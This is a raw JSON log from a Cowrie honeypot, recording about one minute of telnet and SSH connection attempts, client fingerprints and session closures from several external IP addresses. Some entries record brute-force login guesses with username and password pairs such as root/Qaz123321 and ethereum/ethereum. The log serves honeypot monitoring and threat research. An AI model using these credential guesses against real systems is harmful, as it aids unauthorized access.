{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":55618,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2734cdbe6f1","protocol":"telnet","message":"New connection: 162.241.114.254:55618 (10.17.0.5:23) [session: e2734cdbe6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:24.409577Z"}
{"eventid":"cowrie.session.closed","duration":30.378448247909546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:26.286094Z","src_ip":"162.241.114.254","session":"7b091b0f86d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.786141157150269,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:27.153243Z","src_ip":"133.149.217.226","session":"296a5bbfdd07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":57172,"dst_ip":"10.17.0.5","dst_port":23,"session":"83a9ca1e0967","protocol":"telnet","message":"New connection: 162.241.114.254:57172 (10.17.0.5:23) [session: 83a9ca1e0967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:27.390323Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":57774,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b0143a1a4b","protocol":"telnet","message":"New connection: 162.241.114.254:57774 (10.17.0.5:23) [session: f2b0143a1a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:28.562723Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":61117,"dst_ip":"159.203.135.109","dst_port":22,"session":"c183c940bf1d","protocol":"ssh","message":"New connection: 178.27.90.142:61117 (159.203.135.109:22) [session: c183c940bf1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:30.636545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:30.641459Z","src_ip":"178.27.90.142","session":"c183c940bf1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:30.742079Z","src_ip":"178.27.90.142","session":"c183c940bf1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123@123","message":"login attempt [root/Abc123@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:31.167305Z","src_ip":"178.27.90.142","session":"c183c940bf1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:32.271649Z","src_ip":"178.27.90.142","session":"c183c940bf1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":59872,"dst_ip":"10.17.0.5","dst_port":23,"session":"451f46275e65","protocol":"telnet","message":"New connection: 162.241.114.254:59872 (10.17.0.5:23) [session: 451f46275e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:32.359632Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":60128,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb5e5f079769","protocol":"telnet","message":"New connection: 162.241.114.254:60128 (10.17.0.5:23) [session: cb5e5f079769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:32.967109Z"}
{"eventid":"cowrie.session.closed","duration":30.477744817733765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:35.232892Z","src_ip":"162.241.114.254","session":"a468cd3e9200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":60656,"dst_ip":"10.17.0.5","dst_port":23,"session":"262cb061605f","protocol":"telnet","message":"New connection: 162.241.114.254:60656 (10.17.0.5:23) [session: 262cb061605f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:35.263402Z"}
{"eventid":"cowrie.session.closed","duration":30.598362684249878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:35.690991Z","src_ip":"162.241.114.254","session":"c7de8a095a1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6599338054657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:45.198939Z","src_ip":"162.241.114.254","session":"8a2b74cd6445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46960,"dst_ip":"10.17.0.5","dst_port":23,"session":"02670d8ab7a8","protocol":"telnet","message":"New connection: 137.184.155.248:46960 (10.17.0.5:23) [session: 02670d8ab7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:48.647449Z"}
{"eventid":"cowrie.session.closed","duration":30.17434334754944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:49.179857Z","src_ip":"162.241.114.254","session":"8efa13992e8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25441265106201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:52.653540Z","src_ip":"162.241.114.254","session":"da3cddec4a11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.727255821228027,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:53.374578Z","src_ip":"137.184.155.248","session":"02670d8ab7a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":44664,"dst_ip":"159.203.135.109","dst_port":22,"session":"b189c3ee32ac","protocol":"ssh","message":"New connection: 102.211.152.138:44664 (159.203.135.109:22) [session: b189c3ee32ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:53.431419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:53.435776Z","src_ip":"102.211.152.138","session":"b189c3ee32ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:53.543487Z","src_ip":"102.211.152.138","session":"b189c3ee32ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test01","password":"test01","message":"login attempt [test01/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:54.006531Z","src_ip":"102.211.152.138","session":"b189c3ee32ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00219178199768,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:54.122235Z","src_ip":"47.17.208.12","session":"55e098fc7d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.17.208.12","src_port":34848,"dst_ip":"10.17.0.5","dst_port":23,"session":"594a4a5a583b","protocol":"telnet","message":"New connection: 47.17.208.12:34848 (10.17.0.5:23) [session: 594a4a5a583b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:54.210301Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":43478,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d677c651607","protocol":"telnet","message":"New connection: 162.241.114.254:43478 (10.17.0.5:23) [session: 3d677c651607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:54.888921Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:55.119042Z","src_ip":"102.211.152.138","session":"b189c3ee32ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.684633255004883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:56.094004Z","src_ip":"162.241.114.254","session":"e2734cdbe6f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":44428,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fcbfedc8f9a","protocol":"telnet","message":"New connection: 162.241.114.254:44428 (10.17.0.5:23) [session: 5fcbfedc8f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:56.590658Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":42652,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd7f56299f9","protocol":"ssh","message":"New connection: 2.57.122.238:42652 (10.17.0.5:22) [session: 6fd7f56299f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:56.755711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:56.760563Z","src_ip":"2.57.122.238","session":"6fd7f56299f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:56.866179Z","src_ip":"2.57.122.238","session":"6fd7f56299f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:57.182747Z","src_ip":"2.57.122.238","session":"6fd7f56299f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":44394,"dst_ip":"10.17.0.5","dst_port":23,"session":"faae3d532315","protocol":"telnet","message":"New connection: 162.241.114.254:44394 (10.17.0.5:23) [session: faae3d532315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:57.519182Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.70.153.3","src_port":40822,"dst_ip":"10.17.0.5","dst_port":23,"session":"e365a3888512","protocol":"telnet","message":"New connection: 152.70.153.3:40822 (10.17.0.5:23) [session: e365a3888512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:58.128857Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:58.291651Z","src_ip":"2.57.122.238","session":"6fd7f56299f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.573649406433105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:58.963881Z","src_ip":"162.241.114.254","session":"83a9ca1e0967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58809804916382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:00.150743Z","src_ip":"162.241.114.254","session":"f2b0143a1a4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":46828,"dst_ip":"10.17.0.5","dst_port":23,"session":"018e30d16416","protocol":"telnet","message":"New connection: 162.241.114.254:46828 (10.17.0.5:23) [session: 018e30d16416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:01.531791Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":47124,"dst_ip":"10.17.0.5","dst_port":23,"session":"598827791fa2","protocol":"telnet","message":"New connection: 162.241.114.254:47124 (10.17.0.5:23) [session: 598827791fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:02.056060Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":47768,"dst_ip":"10.17.0.5","dst_port":23,"session":"12251e548c06","protocol":"telnet","message":"New connection: 162.241.114.254:47768 (10.17.0.5:23) [session: 12251e548c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:03.112084Z"}
{"eventid":"cowrie.session.closed","duration":30.308510780334473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:03.275515Z","src_ip":"162.241.114.254","session":"cb5e5f079769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.795478582382202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:04.154998Z","src_ip":"162.241.114.254","session":"451f46275e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923042058944702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:06.186334Z","src_ip":"162.241.114.254","session":"262cb061605f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":35324,"dst_ip":"159.203.135.109","dst_port":22,"session":"7602f08e6c20","protocol":"ssh","message":"New connection: 43.157.98.118:35324 (159.203.135.109:22) [session: 7602f08e6c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:07.712970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:07.719451Z","src_ip":"43.157.98.118","session":"7602f08e6c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:07.815833Z","src_ip":"43.157.98.118","session":"7602f08e6c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":50708,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b32f3078d2","protocol":"telnet","message":"New connection: 162.241.114.254:50708 (10.17.0.5:23) [session: c8b32f3078d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:08.382177Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":50772,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0695846dba7","protocol":"telnet","message":"New connection: 162.241.114.254:50772 (10.17.0.5:23) [session: e0695846dba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:08.433928Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aa@","message":"login attempt [root/123456aa@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:08.522735Z","src_ip":"43.157.98.118","session":"7602f08e6c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":50406,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd3d0a578011","protocol":"telnet","message":"New connection: 162.241.114.254:50406 (10.17.0.5:23) [session: dd3d0a578011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:08.850450Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:09.620952Z","src_ip":"43.157.98.118","session":"7602f08e6c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":60351,"dst_ip":"159.203.135.109","dst_port":22,"session":"79d6e3187a95","protocol":"ssh","message":"New connection: 178.27.90.142:60351 (159.203.135.109:22) [session: 79d6e3187a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:22.806083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:22.811677Z","src_ip":"178.27.90.142","session":"79d6e3187a95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:22.915745Z","src_ip":"178.27.90.142","session":"79d6e3187a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123321","message":"login attempt [root/Qaz123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:23.358971Z","src_ip":"178.27.90.142","session":"79d6e3187a95","protocol":"ssh"}
